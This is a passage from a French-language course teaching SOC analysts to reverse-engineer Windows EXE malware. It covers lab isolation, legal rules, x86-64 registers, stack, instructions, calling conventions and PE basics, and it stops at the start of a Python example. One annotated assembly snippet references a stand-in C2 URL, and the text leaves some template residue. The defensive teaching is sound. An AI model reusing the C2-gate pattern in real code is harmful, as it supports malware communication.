REVERSE ENGINEERING

Fichiers EXE Windows

COURS COMPLET — EDITION SOC ANALYST

Du zéro absolu à l'analyse de malwares réels

Assembleur x86/x64 · PE Format · Ghidra · IDA Free · x64dbg

Exercices pratiques · Walkthroughs complets · Cas SOC réels

Ce cours suppose que tu sais programmer (Python/Bash) et que tu travailles en sécurité. Il ne suppose aucune connaissance préalable en RE, assembleur ou format PE. L'objectif : être autonome sur l'analyse de malwares EXE Windows.

Table des matières

1. Avant de commencer : mindset et lab

1.1 Ce que le RE peut t'apporter concrètement en SOC
1.2 Comment penser en reverse engineer
1.3 Le lab isolé : pourquoi c'est non-négociable
1.4 Mise en place pas à pas du lab
1.5 Cadre légal et éthique

2. L'assembleur x86/x64 — Comprendre la langue du CPU

2.1 Pourquoi l'assembleur et pas juste le pseudocode C ?
2.2 Les registres : la mémoire ultra-rapide du CPU
2.3 La mémoire et l'adressage
2.4 La pile (stack) : mécanisme fondamental
2.5 Les instructions — lire le vocabulaire du CPU
2.6 Raisonner face à de l'assembleur inconnu
2.7 Les fonctions en assembleur : de bout en bout
2.8 Les calling conventions Windows
2.9 Exercice : lire ta première fonction inconnue

3. Le format PE — Anatomie d'un EXE Windows

3.1 Qu'est-ce que le format PE et pourquoi l'apprendre ?
3.2 La structure : du byte zéro à la dernière section
3.3 L'Import Address Table : la goldmine des IOCs
3.4 Les sections : ce qui se cache où
3.5 Lire un PE avec les outils
3.6 Ce qu'un PE anormal te dit sur un malware

4. Analyse Statique — Comprendre sans exécuter

4.1 Le triage : 15 minutes qui changent tout
4.2 Ghidra : prise en main complète
4.3 Naviguer dans un binaire inconnu : méthode
4.4 Le décompilateur : lire le pseudocode C
4.5 Reconnaître les patterns malveillants
4.6 Les imports dynamiques : quand le malware se cache
4.7 Extraire une configuration C2
4.8 IDA Free : différences avec Ghidra
4.9 Walkthrough complet : analyser un dropper

5. Analyse Dynamique — Observer le malware en action

5.1 Préparer l'environnement dynamique
5.2 x64dbg : prendre le contrôle de l'exécution
5.3 L'art des breakpoints
5.4 Lire l'état du programme : registres, mémoire, stack
5.5 Monitorer le système : ProcMon, Process Hacker

5.6 Capturer le réseau : FakeNet-NG et Wireshark
5.7 Walkthrough : observer un RAT en train de beaconer
5.8 L'unpacking en pratique

6. Windows Internals pour le Reverse Engineer

6.1 Comment Windows charge et exécute un programme
6.2 Le PEB et TEB : la carte d'identité d'un processus
6.3 Les WinAPI que les malwares adorent
6.4 Les techniques d'injection de processus
6.5 La persistence : comment un malware survit au reboot

7. Obfuscation et Anti-Analyse

7.1 Les packers : comprendre la décompression
7.2 Anti-debug : quand le malware te détecte
7.3 Anti-VM et anti-sandbox
7.4 L'obfuscation de code : VM protectors
7.5 Stratégies de contournement

8. Familles de Malwares — Reconnaître et Analyser

8.1 Méthodologie : identifier la famille en 5 minutes
8.2 Ransomware : du chiffrement à la clé
8.3 Infostealer : Chrome, wallets et credentials
8.4 RAT : anatomie d'un accès distant
8.5 Loader/Dropper : la porte d'entrée

9. Du Malware au Rapport SOC

9.1 Workflow complet d'analyse
9.2 Extraire et valider les IOCs
9.3 Écrire des règles YARA efficaces
9.4 Écrire des règles Sigma pour le SIEM
9.5 Mapper sur MITRE ATT&CK;
9.6 Rédiger un rapport technique

10. Labs et Exercices Progressifs

10.1 Lab 1 — Premier RE guidé pas à pas
10.2 Lab 2 — Crackme : trouver le mot de passe
10.3 Lab 3 — Unpacking UPX complet
10.4 Lab 4 — Analyser un infostealer réel
10.5 Lab 5 — Extraction de config C2
10.6 Plan de progression sur 6 mois

CHAPITRE 1

Avant de commencer : Mindset et Lab

Comprendre pourquoi le RE, comment penser, et mettre en place un environnement sûr

1.1 Ce que le RE peut t'apporter concrètement en SOC

Commençons par être honnête : tu n'as pas besoin du RE pour la majorité de tes alertes. Les EDRs modernes, les sandboxes automatiques et les bases de réputation couvrent 95% des cas. Mais ce 5% restant — les malwares custom, les APTs, les variantes inédites, les faux positifs complexes — c'est là que le RE fait la différence entre fermer un ticket et comprendre une vraie compromission.

Concrètement, voici ce que ça change dans ton quotidien de SOC analyst. Quand un EDR détecte un EXE inconnu et te donne un score de risque de 73%, sans RE tu dois décider si c'est un FP ou un vrai malware sur la base de métadonnées. Avec le RE, tu ouvres Ghidra, tu regardes les imports et les strings en 10 minutes, et tu sais exactement ce que fait le fichier. La décision est fondée sur des faits, pas sur un score.

Le RE te donne aussi une compréhension de l'adversaire qui transforme ta façon de travailler. Quand tu comprends comment un ransomware fonctionne de l'intérieur — comment il génère ses clés, comment il énumère les fichiers, dans quel ordre il chiffre — tu sais où chercher dans les logs, tu sais quelles détections créer, et tu peux répondre à la question que tout le monde pose : "est-ce qu'on peut récupérer les fichiers ?"

1.2 Comment penser en reverse engineer

Le reverse engineering n'est pas une question de mémoire ou de talent naturel. C'est une méthode. Les meilleurs analystes ne mémorisent pas des milliers d'instructions assembleur — ils ont une façon de penser qui leur permet d'extraire le sens d'un code qu'ils n'ont jamais vu.

Le principe fondamental : **tu ne lis pas du code, tu formes des hypotheses et tu les testes**. Tu regardes une fonction inconnue, tu observes les APIs appelées, les chaînes de caractères référencées, la structure de contrôle (boucles, conditions). Tu te demandes : qu'est-ce que ce code pourrait faire compte tenu de ce que je vois ? Tu formes une hypothèse ("ça ressemble à une boucle de chiffrement"), et tu vérifies ("le XOR en boucle avec une clé fixe, oui c'est ça").

Deuxième principe : **commence par le contexte, pas par le detail**. L'erreur classique du débutant est de lire l'assembleur ligne par ligne depuis le début. C'est épuisant et peu productif. À la place : regarde d'abord les imports (que fait le programme en général ?), puis le point d'entrée (quelle est la structure globale ?), puis seulement les fonctions qui t'intéressent. Tu zoomes, tu ne déroules pas.

Troisième principe : **documente au fur et a mesure**. Dès que tu comprends ce que fait une variable ou une fonction, renomme-la dans Ghidra. Dès qu'une section de code devient claire, ajoute un

commentaire. Tu travailles souvent sur des malwares complexes pendant plusieurs heures ou plusieurs sessions. Tes annotations sont ce qui transforme une exploration en compréhension consolidée.

■ La règle des 3 niveaux

Face à n'importe quelle fonction inconnue, passe par ces 3 niveaux dans l'ordre :

Niveau 1 — QUOI : que fait cette fonction en terme de haut niveau ? ("elle chiffre des données", "elle fait une requête HTTP")

Niveau 2 — COMMENT : quel algorithme, quelle API, quelle structure de données ?

Niveau 3 — POURQUOI : quelle est la place de cette fonction dans le comportement global du malware ?

Tu n'as pas besoin d'atteindre le niveau 3 pour toutes les fonctions. Beaucoup de fonctions sont du boilerplate (initialisation CRT, gestion d'erreurs) que tu peux ignorer.

1.3 Le lab isolé : pourquoi c'est non-négociable

Un malware sur ta machine principale, c est une faute professionnelle. Peu importe que tu penses que tu contrôles la situation. Les malwares modernes ont des mécanismes de latéralisation, d'élévation de privilèges, de persistance qui peuvent se déclencher même si tu ouvres juste le fichier pour le hasher. Certains malwares s'activent à l'ouverture du répertoire dans l'Explorateur Windows.

L'isolation va au-delà de la VM. Le réseau doit aussi être isolé. Un malware qui réussit à s'exécuter dans ta VM et qui peut atteindre Internet peut exfiltrer des données, se connecter à un C2 et potentiellement recevoir des commandes. Certains malwares ont des mécanismes de détection de VM et de sandbox : s'ils détectent qu'ils sont analysés, ils peuvent tenter de se propager sur le réseau réel.

1.4 Mise en place pas à pas du lab

Voici l'architecture recommandée pour un lab RE professionnel sur budget limité. Tu as besoin d'une machine hôte avec au moins 16 Go de RAM (8 Go minimum mais c'est juste), un SSD de préférence (les snapshots VM sont gros), et VirtualBox ou VMware (VMware Workstation Player est gratuit).

VM 1 — Analyste (ta machine de travail RE)

Windows 10 x64, 4 Go RAM, 2 CPUs. C'est là que tu installes tous les outils d'analyse. Cette VM n'exécute jamais de malware directement. Elle peut avoir accès à Internet (pour télécharger des outils et rechercher des IOCs), mais idéalement sur un réseau séparé du réseau de la VM sandbox.

Outils à installer sur la VM Analyste :

- `Ghidra` : https://ghidra-sre.org — Désassembleur/décompilateur (NSA, open source)
- `IDA Free` : https://hex-rays.com/ida-free — Version gratuite de l'outil de référence
- `x64dbg` : https://x64dbg.com — Debugger Windows user-mode

- `PE-bear` : https://github.com/hasherezade/pe-bear — Analyse PE header
- `DIE (Detect It Easy)` : https://github.com/horsicq/Detect-It-Easy — Détection packer/compilateur
- `FLOSS` : https://github.com/mandiant/flare-floss — Extract strings obfusquées
- `CFF Explorer` : https://ntcore.com — Éditeur PE léger
- `Python 3 + pefile + yara-python` : pip install pefile yara-python

VM 2 — Sandbox (exécution du malware)

Windows 10 x64, 4 Go RAM, 2 CPUs. C'est la VM jetable. Configure le réseau en 'Host-Only' ou 'Internal Network' dans VirtualBox — **JAMAIS NAT ou Bridge**, sinon le malware peut atteindre Internet et ton vrai réseau.

Prends un snapshot propre AVANT d'y installer quoi que ce soit de suspect. Installe les outils de monitoring (ProcMon, Process Hacker, Wireshark, FakeNet-NG), prends un nouveau snapshot ('Snapshot_Clean_Tools'), et reviens toujours à ce snapshot après chaque analyse.

Pour simuler un vrai réseau sans donner accès à Internet, installe FakeNet-NG. Il intercepte toutes les connexions DNS, HTTP, HTTPS et répond avec des faux serveurs. Le malware croit qu'il est connecté au réseau normal — il continue son exécution et tu vois tout son trafic réseau sans risque.

Astuce : rendre la sandbox plus crédible

Les malwares modernes vérifient si l'environnement 'a l'air humain'. Une VM fraîche avec 0 fichier récent, 1 Go RAM et 1 CPU est immédiatement détectée.

Mesures : donne 4 Go RAM et 2+ CPUs à la VM, installe un fond d'écran, crée quelques documents Word/Excel dans Documents, remplis l'historique du navigateur, connecte la VM à un vrai réseau au moins une fois pour le profil réseau Windows.

Outils : FLARE VM (Mandiant) est une VM Windows préconfigurée pour le RE avec anti-détection intégré. Excellent point de départ.

1.5 Cadre légal et éthique

En France, l'article 323-1 du Code Pénal interdit l'accès non autorisé à des systèmes informatiques. En tant qu'analyste SOC, tu opères dans un cadre légal clair : tu analyses des malwares sur des systèmes dont tu as l'autorisation d'analyser le trafic. Ton contrat et ta mission définie par ton employeur te couvrent.

Les règles d'or que tu dois respecter : n'exécute jamais un malware hors de ton lab isolé, ne redistribue jamais des échantillons de malwares sans encadrement, ne teste jamais des techniques offensives sur des systèmes sans autorisation écrite explicite, et documente toujours tes analyses (trace, date, contexte) — si tu as un doute sur une analyse, archive tout avant de procéder.

CHAPITRE 2

L'Assembleur x86/x64

Comprendre la langue du CPU — la base sur laquelle tout le reste repose

2.1 Pourquoi l'assembleur et pas juste le pseudocode C ?

Ghidra et IDA Free incluent un décompilateur qui génère du pseudocode C à partir de l'assembleur. C'est magnifique. Alors pourquoi apprendre l'assembleur ?

Raison 1 : **le décompilateur se trompe**. Sur des fonctions complexes, avec des calling conventions inhabituelles, avec de l'obfuscation ou des optimisations agressives du compilateur, le pseudocode C peut être faux, bizarre, ou incompréhensible. Si tu ne sais pas lire l'assembleur, tu ne peux pas savoir quand le décompilateur te ment.

Raison 2 : **certains patterns n apparaissent qu en assembleur**. Les anti-debug checks, les techniques d'injection de shellcode, les gadgets ROP, l'accès direct au PEB via GS:[0x60] — tout ça est invisible dans le pseudocode C ou apparaît sous une forme qui ne dit rien sans comprendre l'assembleur sous-jacent.

Raison 3 : **l assembleur te dit EXACTEMENT ce qui se passe**. Le pseudocode C est une interprétation. L'assembleur, c'est la réalité. Quand tu as besoin de certitude — et en SOC tu en as souvent besoin — tu descends à l'assembleur.

Bonne nouvelle : tu n'as pas besoin de mémoriser des centaines d'instructions. Il y a environ 30-40 instructions que tu verras dans 95% des cas. Le reste, tu le cherches dans la documentation Intel quand tu en as besoin.

2.2 Les registres : la mémoire ultra-rapide du CPU

Imagine le CPU comme un cuisinier. La mémoire RAM c'est le garde-manger — il y a tout ce dont il a besoin, mais il faut aller le chercher. Les registres, c'est le plan de travail — petit, mais immédiatement accessible. Toutes les opérations du CPU (additions, comparaisons, appels de fonctions) se font sur les registres.

En x86-64 (le mode 64 bits que tu verras sur la quasi-totalité des EXE modernes), il y a 16 registres généraux. Voici comment comprendre leur naming :

Anatomie d'un registre x86-64

```
; Un seul registre physique 64 bits, plusieurs 'vues' dessus :
;
;  63      32  31    16  15   8  7    0
;  +----------+--------+------+------+
```

```
;  |  (haut)  |  EAX   |  AX  |AL|AH|
;  +----------+--------+------+------+
;  |          R A X              |
;  +-------------------------------+
;
; RAX = vue 64 bits (R = eXtended pour 64 bits)
; EAX = vue 32 bits (les 32 bits bas de RAX)
; AX  = vue 16 bits (les 16 bits bas de EAX)
; AL  = vue 8 bits bas (bits 0-7)
; AH  = vue 8 bits haut (bits 8-15)

; Important : écrire dans EAX ZERO les 32 bits hauts de RAX en x64 !
; (comportement spécial x86-64)
; MOV EAX, 1   → RAX = 0x0000000000000001  (pas 0x....FFFF00000001)
; MOV AX, 1    → RAX = 0x....FFFF....0001  (seulement 16 bits modifiés)
```

Les registres ont des rôles conventionnels. Ce ne sont pas des règles gravées dans le silicium — le CPU peut utiliser n'importe quel registre pour n'importe quoi — mais le compilateur et les calling conventions respectent ces conventions, donc tu les verras systématiquement :

Registre	Rôle conventionnel	Ce que tu dois retenir
RAX	Accumulateur	Valeur de retour des fonctions. 'Qu est-ce que cette fonction renvoie ?' → regarde RAX après un CALL.
RCX	Compteur, 1er argument (Windows x64)	Avant un CALL, RCX = 1er argument. Souvent un handle, un pointeur, ou un this.
RDX	Données, 2ème argument	2ème argument. Souvent une taille, un flag, ou un pointeur vers données.
R8, R9	3ème et 4ème arguments (Windows x64)	Arguments 3 et 4. Au-delà de 4 arguments, ils vont sur la stack.
RSP	Stack Pointer — sommet de la pile	Pointe toujours vers le haut de la stack. PUSH/POP le modifient. Ne le modifie jamais manuellement sauf si tu sais exactement ce que tu fais.
RBP	Base Pointer — référence du stack frame	Pointe vers la base du stack frame courant. Les variables locales sont à [RBP - X], les arguments (si sur stack) à [RBP + X].
RIP	Instruction Pointer — où on en est	Adresse de la prochaine instruction à exécuter. Jamais modifié directement — modifié par JMP, CALL, RET.

RFLAGS	Registre de flags	Chaque bit est un flag mis à jour par les opérations arithmétiques. Utilisé par les sauts conditionnels (JZ, JNZ, etc.).

Les FLAGS — ce qui conditionne les branchements

Le registre RFLAGS est capital pour comprendre les `if`, `while`, `for` en assembleur. Chaque opération arithmétique ou de comparaison met à jour certains flags. Les instructions de saut conditionnel ({inline_code('JZ')}, {inline_code('JNZ')}, etc.) lisent ces flags pour décider si le saut doit avoir lieu.

Le pattern fondamental en assembleur : `CMP a, b` suivi d'un `Jcc` (saut conditionnel). `CMP a, b` calcule `a - b` et met à jour les flags, mais ne stocke pas le résultat. Ensuite `JZ` saute si ZF=1 (résultat était zéro, donc a == b), `JNZ` saute si ZF=0 (a != b), etc.

L'autre pattern très courant : `TEST a, b`. TEST calcule `a AND b` et met à jour les flags sans stocker le résultat. Le cas le plus fréquent : `TEST RAX, RAX` — si RAX == 0, ZF=1. Ça revient à vérifier si RAX est nul, ce qui est souvent une vérification d'erreur (la plupart des WinAPIs renvoient NULL ou 0 en cas d'erreur).

2.3 La mémoire et l'adressage

Quand un programme Windows s'exécute, le système lui alloue un espace d'adressage virtuel. En 64 bits, cet espace est théoriquement gigantesque (128 To en pratique). Chaque adresse dans cet espace correspond soit à de la mémoire physique réelle (RAM), soit à rien (accès = crash : Access Violation).

Ce qui est important pour le RE, c'est la structure de cet espace. À l'exécution, ton EXE est mappé quelque part dans cet espace (souvent autour de 0x140000000 pour un EXE 64 bits). Les DLLs chargées sont mappées à d'autres adresses. La stack et le heap sont dans encore d'autres zones.

La notation `[address]` en assembleur signifie 'la valeur À cette adresse en mémoire', pas l'adresse elle-même. `MOV RAX, RBX` copie la valeur de RBX dans RAX. Mais `MOV RAX, [RBX]` lit les 8 octets à l'adresse contenue dans RBX et les met dans RAX. C'est la différence entre une variable et un pointeur en C.

Modes d'adressage x86-64

```
; Différents modes d'adressage mémoire en x64 :

MOV RAX, [RBX]           ; RAX = mémoire à l'adresse RBX (déréférencement simple)
MOV RAX, [RBX + 8]       ; RAX = mémoire à l'adresse RBX+8 (accès à un champ de structu
re)
MOV RAX, [RBX + RCX*8]   ; RAX = mémoire à RBX + RCX*8 (accès à un tableau d'entiers 64
 bits)
MOV RAX, [0x00402000]     ; RAX = mémoire à l'adresse absolue 0x402000 (variable global
e)

; LEA (Load Effective Address) est différent : il charge l'ADRESSE calculée,
```

```
; pas la valeur à cette adresse
LEA RAX, [RBX + 8]       ; RAX = RBX + 8 (l'adresse, pas ce qu'il y a là-bas)
; Très utilisé pour obtenir l'adresse d'un champ de structure ou d'un tableau

; En pratique dans un malware :
LEA RCX, [str_url]        ; RCX = adresse de la string 'http://evil.ru/gate.php'
; → on passe l'ADRESSE de la string comme 1er argument d'une fonction
```

2.4 La pile (stack) : mécanisme fondamental

La stack est probablement la structure de données la plus importante à comprendre en RE. Elle est utilisée pour : stocker les variables locales d'une fonction, passer des arguments aux fonctions (quand il y en a plus de 4 en x64), sauvegarder les registres, et stocker les adresses de retour des fonctions. C'est le mécanisme qui fait qu'une fonction 'sait où revenir' après son exécution.

La stack en x86/x64 a une propriété contre-intuitive : elle grandit vers les adresses basses. Quand tu PUSH quelque chose sur la stack, RSP diminue. Quand tu POP, RSP augmente. RSP pointe toujours vers le dernier élément pushé (le 'sommet' de la pile).

La stack — trace complète d'un appel de fonction

```
; Trace d'exécution d'un CALL et du prologue de fonction

; === Dans la fonction appelante ===
; RSP = 0x7FFF_FF00  (valeur de départ, arbitraire pour l'exemple)

CALL malware_func        ; 1. CPU push l'adresse de retour (0x140001234) sur la stack
                         ;    RSP = 0x7FFF_FEF8  (RSP - 8)
                         ;    [RSP] = 0x140001234  (adresse de retour stockée)
                         ; 2. JMP vers malware_func

; === Dans malware_func (prologue standard) ===
PUSH RBP                 ; Sauvegarde l'ancien RBP  → RSP = 0x7FFF_FEF0
MOV RBP, RSP             ; RBP pointe maintenant sur le sommet de stack actuel
SUB RSP, 0x40            ; Réserve 64 octets pour les variables locales
                         ; RSP = 0x7FFF_FEB0

; À ce stade, la stack ressemble à ça :
;  [RBP + 0x08] = adresse de retour (0x140001234)
;  [RBP + 0x00] = ancien RBP sauvegardé
;  [RBP - 0x08] = var_locale_1  (non initialisée encore)
;  [RBP - 0x10] = var_locale_2
;  ...jusqu'à RSP...

; === Épilogue de malware_func ===
```

```
MOV RSP, RBP              ; Restaure RSP = RBP (libère les var locales)
POP RBP                   ; Restaure l'ancien RBP, RSP += 8
RET                       ; Pop l'adresse de retour dans RIP, RSP += 8
                          ; On est revenu dans la fonction appelante, RSP restauré
```

Ce pattern prologue/épilogue est crucial car il te permet d'identifier instantanément le début et la fin d'une fonction. `PUSH RBP / MOV RBP, RSP` = début de fonction. {inline_code('MOV RSP, RBP / POP RBP / RET')} ou {inline_code('LEAVE / RET')} = fin de fonction. Ghidra et IDA le reconnaissent automatiquement, mais savoir pourquoi ça fonctionne t'aide quand le compilateur génère du code optimisé non-standard.

2.5 Les instructions — lire le vocabulaire du CPU

Voici les instructions que tu vas rencontrer constamment. Je ne vais pas juste te donner un tableau — je vais t'expliquer comment PENSER chaque instruction.

Transfert de données

`MOV dst, src` : la reine des instructions. Elle copie src dans dst. Attention : ça ne bouge pas, ça copie. La source n'est pas modifiée. Tu verras des centaines de MOV dans n'importe quelle fonction. La plupart sont du boilerplate (préparation d'arguments, sauvegarde de registres). Focalise-toi sur les MOV qui chargent depuis des adresses intéressantes ou qui préparent des arguments avant un CALL.

`LEA dst, [expression]` : souvent confondu avec MOV. La différence : LEA charge l'ADRESSE calculée, pas la valeur à cette adresse. `LEA RCX, [some_string]` met l'adresse de la string dans RCX, pas les premiers octets de la string. C'est l'équivalent de l'opérateur & en C.

`PUSH` et `POP` : manipulation de la stack. En code 64 bits moderne généré par MSVC/GCC, tu verras peu de PUSH avant les CALLs (les arguments passent dans les registres). Mais tu verras des PUSH en prologue de fonction (sauvegarde des registres callee-saved) et des POP en épilogue.

Arithmétique et logique — ce qui construit les algorithmes

`XOR dst, src` mérite une attention particulière car il est omniprésent dans les malwares. Il fait un XOR bit-à-bit. `XOR RAX, RAX` : RAX XOR lui-même = 0 toujours. C'est la façon la plus rapide de mettre un registre à zéro (plus court que MOV RAX, 0 en opcodes). Tu verras ça partout pour initialiser des variables à zéro.

Mais XOR est aussi la base de la plupart des algorithmes de 'chiffrement' simple dans les malwares. Une boucle qui fait XOR byte par byte avec une clé fixe = obfuscation de string. Reconnaître ce pattern est fondamental :

Pattern XOR decryption

```
; Pattern XOR decryption (tu verras ça dans presque tous les malwares simples)
;
```

```
; Équivalent C : for (int i = 0; i < length; i++) { buffer[i] ^= key; }

LEA  RSI, [encrypted_buffer]   ; RSI = pointeur vers les données
MOV  RCX, length               ; RCX = longueur (compteur de boucle)
MOV  AL,  0x42                 ; AL  = clé XOR (cherche ce byte !)

xor_loop:
XOR  byte [RSI], AL            ; Déchiffre un byte en place
INC  RSI                       ; Avance le pointeur
LOOP xor_loop                  ; DEC RCX, si RCX != 0 → refaire

; Après la boucle, [encrypted_buffer] contient les données déchiffrées
; La clé (0x42 ici) est visible directement dans l'assembleur
; → IOC : clé XOR unique par famille de malware
```

`AND`, `OR`, `NOT` : opérations logiques bit-à-bit. AND est souvent utilisé pour masquer des bits (extraire un champ dans une valeur packée). OR est utilisé pour setter des bits. Tu verras souvent `AND EAX, 0xFF` pour ne garder que l'octet bas de EAX.

`SHL` (shift left) et `SHR` (shift right) : décalages de bits. `SHL RAX, 3` = RAX * 8. `SHR RAX, 1` = RAX / 2. Le compilateur utilise souvent les shifts au lieu des multiplications/divisions pour les puissances de 2, car c'est plus rapide. Tu verras aussi SHL/SHR dans les algorithmes de hash (MD5, SHA, etc.) et dans les routines de chiffrement.

Les sauts — la logique de contrôle

`JMP addr` : saut inconditionnel. Modifie RIP directement. Peut être un saut vers l'avant (fin de if), vers l'arrière (boucle), ou vers une adresse dans un registre ({inline_code('JMP RAX')} = appel indirect, très utilisé dans le shellcode).

Les sauts conditionnels {inline_code('Jcc')} viennent toujours après CMP ou TEST. La logique est inversée par rapport à C :

Sauts conditionnels — lire les if/for/while

```
; Code C : if (x != 0) { do_something(); }

; Compilation typique :
MOV EAX, [x]        ; Charge x dans EAX
TEST EAX, EAX       ; ZF = 1 si EAX == 0
JZ  skip_block      ; Si ZF=1 (x==0), saute PAR-DESSUS le bloc → inverti !
call do_something
skip_block:

; Code C : if (a == b) { ... } else { ... }
MOV EAX, [a]
CMP EAX, [b]        ; EAX - [b], met à jour ZF
```

```
JNZ else_block      ; Si pas égaux, va dans else
; ... bloc if ...
JMP end_if
else_block:
; ... bloc else ...
end_if:

; Code C : for (i=0; i < 10; i++) { ... }
MOV ECX, 0          ; i = 0
loop_start:
CMP ECX, 10         ; i < 10 ?
JGE loop_end        ; Si ECX >= 10, fin de boucle
; ... corps de boucle ...
INC ECX             ; i++
JMP loop_start      ; Retour au début
loop_end:
```

2.6 Raisonner face à de l'assembleur inconnu

Voici la méthode systématique à appliquer quand tu arrives sur une fonction inconnue. Tu peux l'appliquer en 5-10 minutes pour avoir une vue d'ensemble.

Étape 1 — Identifie le prologue et l epilogue. Le prologue dit quelle taille de stack frame la fonction utilise (combien de variables locales). L'épilogue te dit combien d'endroits ont une sortie (RET multiples = fonction avec plusieurs chemins de sortie).

Étape 2 — Compte et identifie les CALLs. Chaque CALL est soit une fonction interne, soit une WinAPI. Pour les WinAPIs, le nom est visible dans Ghidra. Pour les fonctions internes, navigue dedans si elles semblent importantes.

Étape 3 — Pour chaque CALL, note les arguments. En x64 Windows : RCX (1er), RDX (2ème), R8 (3ème), R9 (4ème), stack (5ème et +). Suivre les MOV/LEA avant le CALL te dit exactement ce qui est passé.

Étape 4 — Identifie les boucles. Un JMP vers une adresse précédente = boucle. Note ce qui est incrémenté/décrémenté (le compteur) et ce qui est comparé (la condition d'arrêt). Les boucles sont souvent les parties les plus 'algorithmiques' — chiffrement, hashing, copie de données.

Étape 5 — Cherche les strings et constantes. Une LEA vers une adresse dans .rdata = pointeur vers une string. Une comparaison avec une constante intéressante (clé XOR, magic bytes, taille de clé). Ces indices textuels sont souvent les plus révélateurs.

2.7 Les fonctions en assembleur : de bout en bout

Voyons un exemple complet — une fonction de vérification de clé de licence (typique d'un crackme, mais représentatif du genre de code que tu verras). Je vais te montrer le code C source et l'assembleur généré, avec les annotations.

Code C source — check_key

```c
// Code C source
int check_key(const char* key, int length) {
    int sum = 0;
    for (int i = 0; i < length; i++) {
        sum += key[i] ^ 0x37;
    }
    return (sum == 0x1337);
}
```

Assembleur annoté — check_key MSVC x64

```
; Assembleur généré par MSVC x64 (non optimisé, pour lisibilité)
; Rappel convention x64 Windows : 1er arg = RCX, 2ème = RDX

check_key PROC
; Prologue
push rbp
mov  rbp, rsp
sub  rsp, 0x30          ; Réserve pour var locales : sum, i, + shadow space

; Initialisation
mov  QWORD [rbp-0x08], rcx  ; Sauvegarde 'key' (const char*)
mov  DWORD [rbp-0x10], edx  ; Sauvegarde 'length' (int)
mov  DWORD [rbp-0x14], 0    ; sum = 0
mov  DWORD [rbp-0x18], 0    ; i = 0

; Test de la condition de boucle (for : i < length)
for_test:
mov  EAX, DWORD [rbp-0x18]   ; EAX = i
cmp  EAX, DWORD [rbp-0x10]   ; i - length
jge  for_end                  ; if i >= length → fin de boucle

; Corps de boucle : sum += key[i] ^ 0x37
mov  RAX, QWORD [rbp-0x08]   ; RAX = key (pointeur)
movsxd RCX, DWORD [rbp-0x18] ; RCX = (int64)i (extension signée)
movzx  EAX, BYTE  [RAX+RCX]  ; EAX = key[i] (octet, zero-extended)
xor    EAX, 0x37             ; EAX = key[i] ^ 0x37  ← CLÉE XOR VISIBLE
add    DWORD [rbp-0x14], EAX  ; sum += EAX
```

```
; Incrément : i++
inc  DWORD [rbp-0x18]
jmp  for_test                ; Retour au test

for_end:
; return (sum == 0x1337)
cmp  DWORD [rbp-0x14], 0x1337 ; sum - 0x1337  ← VALEUR ATTENDUE VISIBLE
sete AL                       ; AL = 1 si égal, 0 sinon
movzx EAX, AL                 ; EAX = résultat 0 ou 1

; Épilogue
mov  rsp, rbp
pop  rbp
ret
check_key ENDP

; → En lisant cet assembleur, tu sais EXACTEMENT :
;   1. C'est une fonction de vérification (compare avec une constante à la fin)
;   2. Elle XOR chaque byte avec 0x37
;   3. Elle compare la somme avec 0x1337
;   4. Une clé valide est une string dont sum(byte XOR 0x37) == 0x1337
```

2.8 Les calling conventions Windows x64

La calling convention définit le 'contrat' entre une fonction appelante et la fonction appelée. En Windows x64, la convention est appelée Microsoft x64 ABI. C'est la seule qui compte pour les EXE Windows 64 bits modernes.

Les **4 premiers arguments entiers/pointeurs** passent dans `RCX`, `RDX`, `R8`, `R9` (dans cet ordre). Les arguments flottants passent dans `XMM0`, `XMM1`, `XMM2`, `XMM3`. Les arguments au-delà de 4 vont sur la stack, à partir de [RSP+32].

L'appelant doit réserver **32 octets de shadow space** sur la stack avant tout CALL. Ces 32 octets servent à la fonction appelée pour y sauvegarder RCX/RDX/R8/R9 si besoin. Même si la fonction n'utilise pas le shadow space, l'appelant doit le réserver. C'est pourquoi tu vois souvent {inline_code('SUB RSP, 0x28')} (32 + 8 pour alignement) avant les CALLs.

La valeur de retour est dans `RAX` (pour les entiers et pointeurs). Après un CALL, regarde toujours `MOV [var], RAX` ou `TEST RAX, RAX` pour voir si le résultat est vérifié ou utilisé.

Les registres `RBX`, `RBP`, `RDI`, `RSI`, `R12-R15` sont 'callee-saved' : si la fonction les modifie, elle doit les restaurer avant de retourner. Les registres `RAX`, `RCX`, `RDX`, `R8-R11` sont 'caller-saved' : ils peuvent être modifiés. Cette distinction te permet de suivre quelles valeurs survivent à un CALL.

■ Reconnaître les arguments d'une WinAPI

Quand tu vois un CALL vers une WinAPI dans Ghidra, lis les instructions qui précèdent :

Les MOV vers RCX, RDX, R8, R9 = arguments 1 à 4

Les MOV vers [RSP+0x20], [RSP+0x28], etc. = arguments 5, 6, etc.

Un XOR RCX, RCX ou MOV RCX, 0 = NULL (handle nul, pointeur nul)

Une LEA RCX, [str] = passage d'un pointeur vers une string

Cherche la signature de la WinAPI dans MSDN pour savoir exactement ce que chaque argument signifie.

CHAPITRE 3

Le Format PE — Anatomie d'un EXE Windows

Comprendre la structure binaire d'un exécutable avant de l'analyser

3.1 Qu'est-ce que le format PE et pourquoi l'apprendre ?

PE (Portable Executable) est le format de fichier utilisé par Windows pour les exécutables (.exe), les bibliothèques (.dll), les drivers (.sys), et d'autres types de fichiers. Quand Windows veut exécuter un programme, c'est le loader PE qui lit ce format et mappe le fichier en mémoire de façon à ce que le CPU puisse l'exécuter.

Pour toi en tant qu'analyste, le format PE est une mine d'informations. Avant d'avoir regardé une seule instruction assembleur, le PE header te dit : quelles fonctions Windows le programme utilise (imports), si le fichier est packé (entropie des sections), quand il a été compilé (timestamp, souvent fakté mais utile pour le clustering), quel compilateur et quel langage ont été utilisés (signatures PE), et souvent des chaînes de configuration embarquées dans les ressources.

3.2 La structure : du premier byte à la dernière section

Tous les fichiers PE commencent par les bytes `4D 5A` — soit les lettres ASCII 'MZ', initiales de Mark Zbikowski, ingénieur chez Microsoft qui a conçu ce format. Si ton fichier ne commence pas par `MZ`, ce n'est pas un PE standard. (Certains malwares chiffrent le PE et ont un stub de déchiffrement en tête — dans ce cas le MZ n'est pas là non plus avant unpacking.)

À l'offset `0x3C` dans le DOS Header se trouve un DWORD qu'on appelle `e_lfanew`. C'est l'offset du vrai PE Header dans le fichier. Lis ce DWORD, et tu sais où commence la structure PE réelle. Entre le DOS Header et le PE Header, il y a le DOS Stub — un mini-programme qui affiche 'This program cannot be run in DOS mode' si lancé sous DOS. Certains malwares cachent des données dans cette zone.

Python — Analyse PE complète en quelques lignes

```
; Lecture du PE en Python — les 5 lignes qui te donnent l'essentiel
import pefile, hashlib, datetime

